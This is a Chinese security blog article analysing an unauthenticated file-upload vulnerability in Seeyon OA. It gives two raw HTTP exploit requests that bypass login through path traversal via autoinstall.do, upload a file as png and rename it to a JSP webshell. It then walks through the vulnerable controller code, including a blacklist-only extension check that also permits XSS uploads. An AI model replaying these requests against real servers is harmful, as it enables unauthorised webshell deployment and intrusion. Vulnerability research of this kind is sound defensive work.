最新致远OA文件上传漏洞深度分析与扩展

科技   2024-08-14 11:54   湖北  

加微信即可加入WingBy交流群 (不存在娱乐化)一个可以交流CTF、WEB、内网、免杀、红队、蓝队、java/php代码审计、逆向、云安全、CNVD、证书挖掘的交流群..........

漏洞复现

首先复现一下漏洞

POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100
Content-Length: 3502

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="type"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="extensions"

png
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="applicationCategory"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="destDirectory"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="destFilename"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="maxSize"


------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="isEncrypt"

false
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file1"; filename="1.png"
Content-Type: Content-Type: application/pdf


webshell
------WebKitFormBoundary7MA4YWxkTrZu0gW--

POST /seeyon/autoinstall.do/../../seeyon/privilege/menu.do HTTP/1.1
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100
Content-Length: 65

method=uploadMenuIcon&fileid=-2**********&filename=bb.jsp

最终访问 /seeyon/main/menuIcon/shell.jsp  即可

代码分析

为什么两个请求都要用到目录穿越?

这里表示用于所有以 /autoinstall.do 开头的请求。

<not_need_logon>标签,顾名思义就说不需要登录。

所以做目录穿越的时候都是使用的/seeyon/autoinstall.do

试试其他的可不可以呢 首先不目录穿越是这样的

而使用了genericController.do是这样的

这和autoinstall.do是一模一样的

所以不止是autoinstall.do可以。

那么这里为啥要用目录穿越了,了解java权限绕过的师傅们应该知道。在filter处理时,逻辑是只要是autoinstall.do开头的就不需要登录,那么payload中/seeyon/autoinstall.do/../../seeyon/privilege/menu.do是autoinstall.do开头,所以满足条件任务不需要登录也可访问(/seeyon是bashurl)。

所以两个请求都用到目录穿越是为了绕过鉴权验证,达到未授权的效果。

分析两次请求

分析第一个请求 在配置文件中找到处理fileupload.do的类是FileUploadController类

这样就定位到了处理fileupload.do对应的控制器了

先看代码首位

ModelAndView modelAndView = new ModelAndView("ctp/common/fileUpload/upload");
...................
................................
...................
return modelAndView;

分别是创建了一个视图,试图的路径是ctp/common/fileUpload/upload.jsp,也就是文件上传时候那个jsp  如图位置

在控制器中,这里 进行了文件上传处理 前面都是一些其他逻辑处理 跟进去看看

发现改接口有一个实现类

实现类调用了uploadFiles函数

这里才是真正的处理实现

对于后缀的判断处理代码如下  可以看到判断后缀还是毕竟严格 是将jsp当作了黑名单  所以第一个请求仅仅是上传了一个png

竟然只是将jsp列入了黑名单,那是不是可以上传html打xss呢  

试试看 还真是上传成功了 所以确实只是不能上传jsp,其他都可以正常上传的

文件上传看完了,再来看看关键的第二次请求。可以看到第二次请求是对之前上传的文件进行名称修改,让它变成webshell

第二请求是menu.do 对于处理的控制器如图是MenuController

控制器中有一个  method=uploadMenuIcon

复制关键代码方便查看

File file = fileManager.getFile(Long.valueOf(Long.parseLong(request.getParameter("fileid"))), new Date());
String filePath = (new StringBuilder(String.valueOf(AppContext.getSystemProperty("ApplicationRoot")))).append(File.separator).append("main").append(File.separator).append("menuIcon").append(File.separator).toString();
File rootDirectory = new File(filePath);
if(!rootDirectory.exists())
rootDirectory.mkdirs();
String fielName = request.getParameter("filename");
File fileNew = new File((new StringBuilder(String.valueOf(filePath))).append(fielName).toString());
if(!fileNew.exists())
fileNew.createNewFile();
java.io.InputStream in = new FileInputStream(file);
java.io.OutputStream out = new FileOutputStream(fileNew);

可以看到根据fileid获取file,然后filepath是文件落地的路径,通过拼接发现最终落地的位置是/main/menuIcon加上/seeyon也就是/seeyon/main/menuIcon,而创建的文件的名字是filename,是没有进行任何过滤的,所以可以是jsp后缀文件。

关键就说这个fileid,我们回想一下第一个请求的代码中是不是也有个fileid

然后在processupload中有这段代码

att是一个Attachment对象 看看这个对象长啥样

可以看到有fileUrl = file.getId(); 这个getId其实就说获取fileid也就是前面那个uuid,在jsp中也就是fileurl

所以第二个请求中的fileid,其实就是第一个请求中返回的fileUrl

这里这个漏洞所有的地方就分析结束了


CKCsec安全研究院
专注于网络安全的公众号,分享最新的Red Team、APT等高级攻击技术、以及最新的漏洞威胁刨析。